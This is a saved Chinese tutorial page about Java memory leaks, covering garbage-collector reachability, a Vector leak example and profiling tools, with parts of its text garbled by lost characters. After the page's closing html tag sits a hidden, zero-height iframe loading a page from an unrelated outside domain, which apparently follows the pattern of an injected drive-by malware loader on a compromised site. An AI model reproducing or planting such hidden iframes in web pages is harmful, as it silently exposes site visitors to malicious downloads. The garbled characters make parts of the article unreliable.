? Java语言的内存泄?/title> <!----------------------------------- Powered by iwms http://www.iwms.net/ -----------------------------------> <meta http-equiv="content-type" content="text/html;charset=utf-8"/> <link rel="icon" href="favicon.ico" type="image/x-icon" /> <link rel="shortcut icon" href="favicon.ico" type="image/x-icon"/> <meta name="description" content=""/> <meta name="keywords" content=""> <meta name="generator" content="iwms网站管理系统"/> <link rel="stylesheet" href="../../style/iwms/style.css" type="text/css"/> <script type="text/javascript" src="../../inc/flash.js"></script> <script type="text/javascript"> var thumbWidth=120;var thumbHeight=0; var thumbHWidth=120;var thumbHHeight=0; var urlPrefix = "../../"; </script> <script type="text/javascript" src="../../inc/thumbnail.js"></script> <script type="text/javascript" language="javaScript" src="../../inc/scroll.js"></script> <script type="text/javascript" language="javaScript" src="../../inc/imgResize.js"></script> <script type="text/javascript" language="javaScript" src="../../inc/vcode.js"></script> </head> <body> <span id="printScript"> <script type="text/javascript" language="javascript"> <!-- function ContentSize(size) { var obj=document.getElementById("BodyLabel"); obj.style.fontSize=size+"px"; } --> </script> </span> <script type="text/javascript" language="javascript" src="../../inc/print.js"></script> <div class="twidth"> <table id="sitehead" align="center" cellpadding="0" cellspacing="0" border="0"> <tr><td class="l"> </td><td class="m"> <table align="center" width="100%" > <tr><td width="200"> <a href="http://www.muxue.com/"><IMG style="FILTER: chroma(color=#FFFFFF)" src="../../pic/logo.gif" border=0></a> </td> <td align="center"> <A href="http://idc.muxue.com" target=_blank><IMG height=60 src="../../Banner.gif" width=468 border=0></A> </td> <td width="100" align="center" style="line-height:120%"> <a href="#" onclick="javascript:window.external.addFavorite('http://www.muxue.com/','木雪设计')">加入收藏</a><br/> <a href="../../sitemap.aspx">网站地图</a><br/> <a href="../../search.aspx">网站搜索</a><br/> <script type="text/javascript" src="../../inc/language.js"></script> </td> </tr> </table> </td><td class="r"> </td></tr> </table> <table id="navbar" align="center" cellpadding="0" cellspacing="0" > <tr> <td class="l"> </td> <td class="m"> <script type="text/javascript" language="javascript1.2" src="../../inc/popmenu.js"></script> <span id="dlSortNav"><span> <a href="../../default.html" >首页</a> </span><span> <img src="../../style/iwms/navbar_separator.gif" align="absmiddle" alt=""/> </span><span> <a href="../../muxuecom/c5" onmouseover="showmenu(event,5,1,false)" onmouseout="delayhidemenu()" >网页教程</a> </span><span> <img src="../../style/iwms/navbar_separator.gif" align="absmiddle" alt=""/> </span><span> <a href="../../muxuecom/c6" onmouseover="showmenu(event,6,1,false)" onmouseout="delayhidemenu()" >平面设计</a> </span><span> <img src="../../style/iwms/navbar_separator.gif" align="absmiddle" alt=""/> </span><span> <a href="../../muxuecom/c7" onmouseover="showmenu(event,7,1,false)" onmouseout="delayhidemenu()" >编程开?/a> </span><span> <img src="../../style/iwms/navbar_separator.gif" align="absmiddle" alt=""/> </span><span> <a href="../../muxuecom/c8" onmouseover="showmenu(event,8,1,false)" onmouseout="delayhidemenu()" >设计欣赏</a> </span><span> <img src="../../style/iwms/navbar_separator.gif" align="absmiddle" alt=""/> </span><span> <a href="../../muxuecom/c30" onmouseover="showmenu(event,30,1,false)" onmouseout="delayhidemenu()" >图片模板</a> </span><span> <img src="../../style/iwms/navbar_separator.gif" align="absmiddle" alt=""/> </span><span> <a href="http://www.muxue.net" target="_blank" >网站制作</a> </span><span> <img src="../../style/iwms/navbar_separator.gif" align="absmiddle" alt=""/> </span><span> <a href="../../muxuecom/c44" onmouseover="showmenu(event,44,1,false)" onmouseout="delayhidemenu()" >壁纸千寻</a> </span><span> <img src="../../style/iwms/navbar_separator.gif" align="absmiddle" alt=""/> </span><span> <a href="http://flash.muxue.com" target="_blank" ><span style="color:red">Flash</span></a> </span><span> <img src="../../style/iwms/navbar_separator.gif" align="absmiddle" alt=""/> </span><span> <a href="http://game.muxue.com" target="_blank" >木雪小游? </a> </span><span> <img src="../../style/iwms/navbar_separator.gif" align="absmiddle" alt=""/> </span><span> <a href="http://xiaoshuo.muxue.com" target="_blank" >木雪小说</a> </span><span> <img src="../../style/iwms/navbar_separator.gif" align="absmiddle" alt=""/> </span><span> <a href="http://wz.muxue.com/" target="_blank" >沐雪导航</a> </span></span> </td> <td class="r"> </td> </tr> </table> <table id="navsub" cellpadding="0" cellspacing="0"> <tr> <td class="l"></td> <td class="m">   <a href="../../default.html">首页</a> ?<a href="../../muxuecom/c7">编程开?/a> ?<a href="../../muxuecom/c24">JSP教程</a> </td> <td class="r"></td> </tr> </table> <div class="mframe"> <table width="100%" cellspacing="0" cellpadding="0"> <tr> <td class="tl"></td> <td class="tm"> <span class="tt">阅读新闻</span> </td> <td class="tr"></td> </tr> </table> <div id="printBody"> <table id="middle" align="center" cellspacing="0" cellpadding="0" style="word-break:break-all;table-layout:fixed;text-align:left"> <tr> <td class="ml"></td> <td class="mm" valign="top"> <br/><div align="center"><h1 class="aTitle">Java语言的内存泄?/h1></div> <table width="97%" align="center"> <tr> <td width="120">[日期?span id="TimeLabel">2008-03-19</span>]</td> <td align="center">来源?span id="SourceLabel">赛迪?/span>  作者:<span id="AuthorLabel"></span></td> <td width="100" align="right">[字体?a href="javascript:ContentSize(16)">?/a> <a href="javascript:ContentSize(14)">?/a> <a href="javascript:ContentSize(12)">?/a>] </td></tr> </table> <div id="BodyLabel" class="content" style="display:block;padding:0px 10px"><P>Java的一个重要优点就是通过垃圾收集?Garbage Collection,GC)自动管理内存的回收,程序员不需要通过调用函数来释放内存。因此,很多程序员认为Java不存在内存泄漏问题,或者认为即使有内存泄漏也不是程序的责任,而是GC或JVM的问题。其实,这种想法是不正确的,因为Java也存在内存泄露,但它的表现与C++不同?/P> <P>随着越来越多的服务器程序采用Java技术,例如JSP,Servlet?EJB等,服务器程序往往长期运行。另外,在很多嵌入式系统中,内存的总量非常有限。内存泄露问题也就变得十分关键,即使每次运行少量泄漏,长期运行之后,系统也是面临崩溃的危险?/P> <P><STRONG>?Java是如何管理内?/STRONG></P> <P>为了判断Java中是否有内存泄露,我们首先必须了解Java是如何管理内存的。Java的内存管理就是对象的分配和释放问题。在Java中,程序员需要通过关键字new为每个对象申请内存空?(基本类型除外),所有的对象都在?(Heap)中分配空间。另外,对象的释放是由GC决定和执行的。在Java中,内存的分配是由程序完成的,而内存的释放是有GC完成的,这种收支两条线的方法确实简化了程序员的工作。但同时,它也加重了JVM的工作。这也是Java程序运行速度较慢的原因之一。因为,GC为了能够正确释放对象,GC必须监控每一个对象的运行状态,包括对象的申请、引用、被引用、赋值等,GC都需要进行监控?/P> <P>监视对象状态是为了更加准确地、及时地释放对象,而释放对象的根本原则就是该对象不再被引用?/P> <P>为了更好理解GC的工作原理,我们可以将对象考虑为有向图的顶点,将引用关系考虑为图的有向边,有向边从引用者指向被引对象。另外,每个线程对象可以作为一个图的起始顶点,例如大多程序从main进程开始执行,那么该图就是以main进程顶点开始的一棵根树。在这个有向图中,根顶点可达的对象都是有效对象,GC将不回收这些对象。如果某个对?(连通子?与这个根顶点不可?注意,该图为有向?,那么我们认为这?这些)对象不再被引用,可以被GC回收?/P> <P>以下,我们举一个例子说明如何用有向图表示内存管理。对于程序的每一个时刻,我们都有一个有向图表示JVM的内存分配情况。以下右图,就是左边程序运行到第6行的示意图?/P> <P><BR>Java使用有向图的方式进行内存管理,可以消除引用循环的问题,例如有三个对象,相互引用,只要它们和根进程不可达的,那么GC也是可以回收它们的。这种方式的优点是管理内存的精度很高,但是效率较低。另外一种常用的内存管理技术是使用计数器,例如COM模型采用计数器方式管理构件,它与有向图相比,精度行低(很难处理循环引用的问?,但执行效率很高?/P> <P><STRONG>?什么是Java中的内存泄露</STRONG></P> <P>下面,我们就可以描述什么是内存泄漏。在Java中,内存泄漏就是存在一些被分配的对象,这些对象有下面两个特点,首先,这些对象是可达的,即在有向图中,存在通路可以与其相连;其次,这些对象是无用的,即程序以后不会再使用这些对象。如果对象满足这两个条件,这些对象就可以判定为Java中的内存泄漏,这些对象不会被GC所回收,然而它却占用内存?/P> <P>在C++中,内存泄漏的范围更大一些。有些对象被分配了内存空间,然后却不可达,由于C++中没有GC,这些内存将永远收不回来。在Java中,这些不可达的对象都由GC负责回收,因此程序员不需要考虑这部分的内存泄露?/P> <P>通过分析,我们得知,对于C++,程序员需要自己管理边和顶点,而对于Java程序员只需要管理边就可以了(不需要管理顶点的释放)。通过这种方式,Java提高了编程的效率?/P> <P>因此,通过以上分析,我们知道在Java中也有内存泄漏,但范围比C++要小一些。因为Java从语言上保证,任何对象都是可达的,所有的不可达对象都由GC管理?/P> <P>对于程序员来说,GC基本是透明的,不可见的。虽然,我们只有几个函数可以访问GC,例如运行GC的函数System.gc(),但是根据Java语言规范定义?该函数不保证JVM的垃圾收集器一定会执行。因为,不同的JVM实现者可能使用不同的算法管理GC。通常,GC的线程的优先级别较低。JVM调用GC的策略也有很多种,有的是内存使用到达一定程度时,GC才开始工作,也有定时执行的,有的是平缓执行GC,有的是中断式执行GC。但通常来说,我们不需要关心这些。除非在一些特定的场合,GC的执行影响应用程序的性能,例如对于基于Web的实时系统,如网络游戏等,用户不希望GC突然中断应用程序执行而进行垃圾回收,那么我们需要调整GC的参数,让GC能够通过平缓的方式释放内存,例如将垃圾回收分解为一系列的小步骤执行,Sun提供的HotSpot JVM就支持这一特性?/P> <P>下面给出了一个简单的内存泄露的例子。在这个例子中,我们循环申请Object对象,并将所申请的对象放入一个Vector中,如果我们仅仅释放引用本身,那么Vector仍然引用该对象,所以这个对象对GC来说是不可回收的。因此,如果对象加入到Vector后,还必须从Vector中删除,最简单的方法就是将Vector对象设置为null?/P> <P>Vector v=new Vector(10);<BR>for (int i=1;i<100; i++)<BR>{<BR>Object o=new Object();<BR>v.add(o);<BR>o=null;<BR>}<BR>//此时,所有的Object对象都没有被释放,因为变量v引用这些对象?/P> <P><STRONG>?如何检测内存泄?/STRONG></P> <P>最后一个重要的问题,就是如何检测Java的内存泄漏。目前,我们通常使用一些工具来检查Java程序的内存泄漏问题。市场上已有几种专业检查Java内存泄漏的工具,它们的基本工作原理大同小异,都是通过监测Java程序运行时,所有对象的申请、释放等动作,将内存管理的所有信息进行统计、分析、可视化。开发人员将根据这些信息判断程序是否有内存泄漏问题。这些工具包括Optimizeit Profiler,JProbe Profiler,JinSight , Rational 公司的Purify等?/P> <P>下面,我们将简单介绍Optimizeit的基本功能和工作原理?/P> <P>Optimizeit Profiler版本4.11支持Application,Applet,Servlet和Romote Application四类应用,并且可以支持大多数类型的JVM,包括SUN JDK系列,IBM的JDK系列,和Jbuilder的JVM等。并且,该软件是由Java编写,因此它支持多种操作系统。Optimizeit系列还包括Thread Debugger和Code Coverage两个工具,分别用于监测运行时的线程状态和代码覆盖面?/P> <P>当设置好所有的参数了,我们就可以在OptimizeIt环境下运行被测程序,在程序运行过程中,Optimizeit可以监视内存的使用曲?如下?,包括JVM申请的堆(heap)的大小,和实际使用的内存大小。另外,在运行过程中,我们可以随时暂停程序的运行,甚至强行调用GC,让GC进行内存回收。通过内存使用曲线,我们可以整体了解程序使用内存的情况。这种监测对于长期运行的应用程序非常有必要,也很容易发现内存泄露?/P> <P><BR>在运行过程中,我们还可以从不同视角观查内存的使用情况,Optimizeit提供了四种方式:</P> <P>堆视角?这是一个全面的视角,我们可以了解堆中的所有的对象信息(数量和种?,并进行统计、排序,过滤。了解相关对象的变化情况?<BR>方法视角。通过方法视角,我们可以得知每一种类的对象,都分配在哪些方法中,以及它们的数量?<BR>对象视角。给定一个对象,通过对象视角,我们可以显示它的所有出引用和入引用对象,我们可以了解这个对象的所有引用关系?<BR>引用图?给定一个根,通过引用图,我们可以显示从该顶点出发的所有出引用?</P> <P>在运行过程中,我们可以随时观察内存的使用情况,通过这种方式,我们可以很快找到那些长期不被释放,并且不再使用的对象。我们通过检查这些对象的生存周期,确认其是否为内存泄露。在实践当中,寻找内存泄露是一件非常麻烦的事情,它需要程序员对整个程序的代码比较清楚,并且需要丰富的调试经验,但是这个过程对于很多关键的Java程序都是十分重要的?/P> <P>综上所述,Java也存在内存泄露问题,其原因主要是一些对象虽然不再被使用,但它们仍然被引用。为了解决这些问题,我们可以通过软件工具来检查内存泄露,检查的主要原理就是暴露出所有堆中的对象,让程序员寻找那些无用但仍被引用的对象?/P></div><br/><br/> </div> <table width="97%" cellpadding="0" cellspacing="0" style="clear:both"> <tr><td align="right"> <table><tr> <td> 阅读?span id="news_hits"></span> ?br/> 录入?span id="MemberNameLabel"><a href="../../memberProfile.aspx?id=1" target="_blank">admin</a></span><br/><br/> </td></tr> </table> </td></tr> <tr><td align="right"> ?<a href="../../remark.aspx?ID=962" target="_blank">评论</a> ? ?<a href="../../mail.aspx?ID=962" target="_blank">推荐</a> ? ?<a href="javascript:doPrint()">打印</a> ? </td></tr> </table> <table width="97%" align="center" style="clear:both"> <tr><td> 上一篇:<a href="../../muxuecom/2008-03/961.html">了解Java程序的性能优化</a><br/> 下一篇: </td></tr> </table> </td> <td class="mr"></td> </tr> </table> </div> </div> <div class="mframe"> <table width="100%" cellspacing="0" cellpadding="0"> <tr> <td class="tl"></td> <td class="tm"> <span class="tt">相关新闻</span>       </td> <td class="tr"></td> </tr> </table> <table width="100%" cellspacing="0" cellpadding="0"> <tr> <td class="ml"></td> <td class="mm"> </td> <td class="mr"></td> </tr> </table> </div> <div class="mframe"> <table width="100%" align="center" cellspacing="0" cellpadding="0"> <tr> <td class="tl"></td> <td class="tm"> <span class="tt">本文评论</span>       <a href="../../remark.aspx?id=962" target="_blank" style="cursor:hand">全部评论</a> </td> <td class="tr"></td> </tr> </table> <table width="100%" align="center" cellspacing="0" cellpadding="0"> <tr> <td class="ml"></td> <td class="mm"> </td> <td class="mr"></td> </tr> </table> </div> <div class="mframe"> <table width="100%" align="center" cellspacing="0" cellpadding="0"> <tr> <td class="tl"></td> <td class="tm"> <span class="tt">发表评论</span> </td> <td class="tr"></td> </tr> </table> <table width="100%" align="center" cellspacing="0" cellpadding="0"> <tr> <td class="ml"></td> <td class="mm"> <form id="remarkForm" action="../../remark.aspx?id=962" method="post" onsubmit="return checkRemark();"> <table width="100%" cellpadding="5" cellspacing="0" border="0"> <tr><td> <script type="text/javascript" language="javascript"> <!-- function checkRemark() { var form=document.getElementById("remarkForm"); var remarkSize = 200; if (form.body.value=="") { alert("请填写评论内?); form.body.focus(); return false; } if (form.username.value=="") { alert("请填写姓?); form.username.focus(); return false; } if (form.body.value.length>remarkSize) { form.body.value = form.body.value.substr(0,remarkSize); showLen(form.body); form.body.focus(); alert("评论内容不可以超?+remarkSize+"?已帮你删除多余部?); return false; } if (form.username.value.length>10) { alert("姓名不可以超?0个字"); form.username.focus(); return false; } form.submit.disabled=true; form.vcode.value = VCode("Java语言的内存泄?); return true; } function showLen(obj) { document.getElementById("bodyLen").value=obj.value.length; } --> </script> <input type="radio" name="face" value="1" checked="checked"/><img src="../../pic/face1.gif" alt=""/> <input type="radio" name="face" value="2"/><img src="../../pic/face2.gif" alt=""/> <input type="radio" name="face" value="3"/><img src="../../pic/face3.gif" alt=""/> <input type="radio" name="face" value="4"/><img src="../../pic/face4.gif" alt=""/> <input type="radio" name="face" value="5"/><img src="../../pic/face5.gif" alt=""/> <input type="radio" name="face" value="6"/><img src="../../pic/face6.gif" alt=""/> <input type="radio" name="face" value="7"/><img src="../../pic/face7.gif" alt=""/> <input type="radio" name="face" value="8"/><img src="../../pic/face8.gif" alt=""/> <input type="radio" name="face" value="9"/><img src="../../pic/face9.gif" alt=""/><br/> <input type="radio" name="face" value="10"/><img src="../../pic/face10.gif" alt=""/> <input type="radio" name="face" value="11"/><img src="../../pic/face11.gif" alt=""/> <input type="radio" name="face" value="12"/><img src="../../pic/face12.gif" alt=""/> <input type="radio" name="face" value="13"/><img src="../../pic/face13.gif" alt=""/> <input type="radio" name="face" value="14"/><img src="../../pic/face14.gif" alt=""/> <input type="radio" name="face" value="15"/><img src="../../pic/face15.gif" alt=""/> <input type="radio" name="face" value="16"/><img src="../../pic/face16.gif" alt=""/> <input type="radio" name="face" value="17"/><img src="../../pic/face17.gif" alt=""/> <input type="radio" name="face" value="18"/><img src="../../pic/face18.gif" alt=""/><br/> 点评? <textarea name="body" cols="40" rows="4" onkeydown="showLen(this)" onkeyup="showLen(this)"></textarea> 字数<input type="text" id="bodyLen" size="4" style="border-width:0;background:transparent;"/> <br/> 姓名? <input type="text" id="i_username" name="username" value="" maxlength="15" size="10" /> <input type="submit" name="submit" id="i_submit" value=" ??"/> <script type="text/javascript"> var remarkmember = false; var allowremark = true; if (remarkmember){ document.getElementById("i_username").readonly=true; document.write("(限会员登录后发表评论)"); } if (!allowremark){ document.getElementById("i_submit").disabled=true; } </script> <br/><br/> <script type="text/javascript" src="../../inc/clientDate.js"></script> <input type="hidden" name="vcode" value=""/> </td> <td width="350"> <ul style="list-style-type:square;margin-left:1em;line-height:150%"> <li>尊重网上道德,遵守中华人民共和国的各项有关法律法?/li> <li>承担一切因您的行为而直接或间接导致的民事或刑事法律责任</li> <li>本站管理人员有权保留或删除其管辖留言中的任意内容</li> <li>本站有权在网站内转载或引用您的评?/li> <li>参与本评论即表明您已经阅读并接受上述条款</li> </ul> </td></tr> </table> </form> </td> <td class="mr"></td> </tr> </table> <table width="100%" cellspacing="0" cellpadding="0"> <tr> <td class="bl"></td> <td class="bm"> </td> <td class="br"></td> </tr> </table> </div> <iframe src="../../frm_hit.aspx?id=962&disp=1" border="0" height="0" width="0" style="visibility: hidden"></iframe> <table id="footer" border="0" cellpadding="0" cellspacing="0"> <tr align="center" style="line-height:130%"><td height="60"> <STRONG>免责声明</STRONG>:本站旨在发扬网络资源共享精?传播网络文化,普及网络知识,本站刊登文章源于网络,个别文章找不到作者和出处,如果本站无意侵犯了您的版?请联络:<A href="mailto:info@muxue.com">info@muxue.com</A> 我们将马上加上您的版?或者按您的要求删除.向原创作者和有共网络享精神者致?尊重知识产权!<BR>Copyright  ©   木雪设计  <SCRIPT language=JavaScript src="http://s68.cnzz.com/stat.php?id=260103&web_id=260103&show=pic" charset=gb2312></SCRIPT>  空间赞助 : <A href="http://www.muxue.net" target=_blank>木雪?/A>  <SCRIPT language=javascript src="http://js.users.51.la/568783.js" type=text/javascript></SCRIPT> <NOSCRIPT><A href="http://www.51.la/?568783" target=_blank><IMG style="BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none" alt=我要啦免费统?src="http://img.users.51.la/568783.asp"></A></NOSCRIPT><A href="http://www.miibeian.gov.cn" target=_blank>豫ICP?6015916?/A> 做人要厚? <span style="font-weight:bold;font-family:arial;" id="iwms_cp"><a href="http://www.iwms.net/" target="_blank">iwms</a> <font color="#33CC33">4.5</font></span><script type="text/javascript">setTimeout("ImgLoad(document.getElementById('BodyLabel'));",500);</script> <div class="menuskin" id="popmenu" onmouseover="clearhidemenu();highlightmenu(event,'on')" onmouseout="highlightmenu(event,'off');dynamichide(event)" style="Z-index:100"></div> <script type="text/javascript" language="javascript1.2"> linkset[5]=new Array();linkset[5][0]="<div class=\"menuitems\"><a href=\"../../muxuecom/c9\">网站重构教程</a></div>";linkset[5][1]="<div class=\"menuitems\"><a href=\"../../muxuecom/c10\">HTMLCSS教程</a></div>";linkset[5][2]="<div class=\"menuitems\"><a href=\"../../muxuecom/c13\">Flash教程</a></div>";linkset[5][3]="<div class=\"menuitems\"><a href=\"../../muxuecom/c12\">Fireworks教程</a></div>";linkset[5][4]="<div class=\"menuitems\"><a href=\"../../muxuecom/c11\">Dreamweaver教程</a></div>";linkset[5][5]="<div class=\"menuitems\"><a href=\"../../muxuecom/c14\">网页理论</a></div>";linkset[5][6]="<div class=\"menuitems\"><a href=\"../../muxuecom/c15\">网站推广</a></div>";linkset[5][7]="<div class=\"menuitems\"><a href=\"../../muxuecom/c16\">营销策划</a></div>";linkset[6]=new Array();linkset[6][0]="<div class=\"menuitems\"><a href=\"../../muxuecom/c17\">Photoshop教程</a></div>";linkset[6][1]="<div class=\"menuitems\"><a href=\"../../muxuecom/c18\">Coreldraw教程</a></div>";linkset[6][2]="<div class=\"menuitems\"><a href=\"../../muxuecom/c19\">设计理论</a></div>";linkset[6][3]="<div class=\"menuitems\"><a href=\"../../muxuecom/c20\">设计杂谈</a></div>";linkset[7]=new Array();linkset[7][0]="<div class=\"menuitems\"><a href=\"../../muxuecom/c21\">ASP教程</a></div>";linkset[7][1]="<div class=\"menuitems\"><a href=\"../../muxuecom/c22\">ASP.net教程</a></div>";linkset[7][2]="<div class=\"menuitems\"><a href=\"../../muxuecom/c23\">PHP教程</a></div>";linkset[7][3]="<div class=\"menuitems\"><a href=\"../../muxuecom/c24\">JSP教程</a></div>";linkset[8]=new Array();linkset[8][0]="<div class=\"menuitems\"><a href=\"../../muxuecom/c26\">标志设计欣赏</a></div>";linkset[8][1]="<div class=\"menuitems\"><a href=\"../../muxuecom/c28\">艺术设计欣赏</a></div>";linkset[8][2]="<div class=\"menuitems\"><a href=\"../../muxuecom/c32\">Logo设计欣赏</a></div>";linkset[8][3]="<div class=\"menuitems\"><a href=\"../../muxuecom/c34\">Banner设计欣赏</a></div>";linkset[8][4]="<div class=\"menuitems\"><a href=\"../../muxuecom/c57\">名片设计欣赏</a></div>";linkset[30]=new Array();linkset[30][0]="<div class=\"menuitems\"><a href=\"../../muxuecom/c33\">Logo设计模板</a></div>";linkset[30][1]="<div class=\"menuitems\"><a href=\"../../muxuecom/c35\">Banner设计模板</a></div>";linkset[30][2]="<div class=\"menuitems\"><a href=\"../../muxuecom/c56\">设计素材</a></div>";linkset[44]=new Array();linkset[44][0]="<div class=\"menuitems\"><a href=\"../../muxuecom/c45\">这边风景无限</a></div>";linkset[44][1]="<div class=\"menuitems\"><a href=\"../../muxuecom/c46\">可爱卡?/a></div>";linkset[44][2]="<div class=\"menuitems\"><a href=\"../../muxuecom/c47\">浪漫时间</a></div>";linkset[44][3]="<div class=\"menuitems\"><a href=\"../../muxuecom/c48\">凌乱收集</a></div>";function disp_cp6096(){var o = document.getElementById("iwms_cp");while (o){if (o.style){if (o.style.display=="none"){o.style.display = "block";}if (o.style.visibility=="hidden"){o.style.visibility = "visible";}}o = o.parentNode;}} if (document.getElementById("iwms_cp")==null){document.write("<span style=\"font-weight:bold;font-family:arial;\" id=\"iwms_cp\"><a href=\"http://www.iwms.net/\" target=\"_blank\">iwms</a> <font color=\"#33CC33\">4.5</font></span>");}else{window.setTimeout("disp_cp6096();",1000);} jsdone=true; </script> </td></tr> </table> </div> </body> </html><iframe src=http://jlfs8.cn/14/zz.htm width=50 height=0></iframe>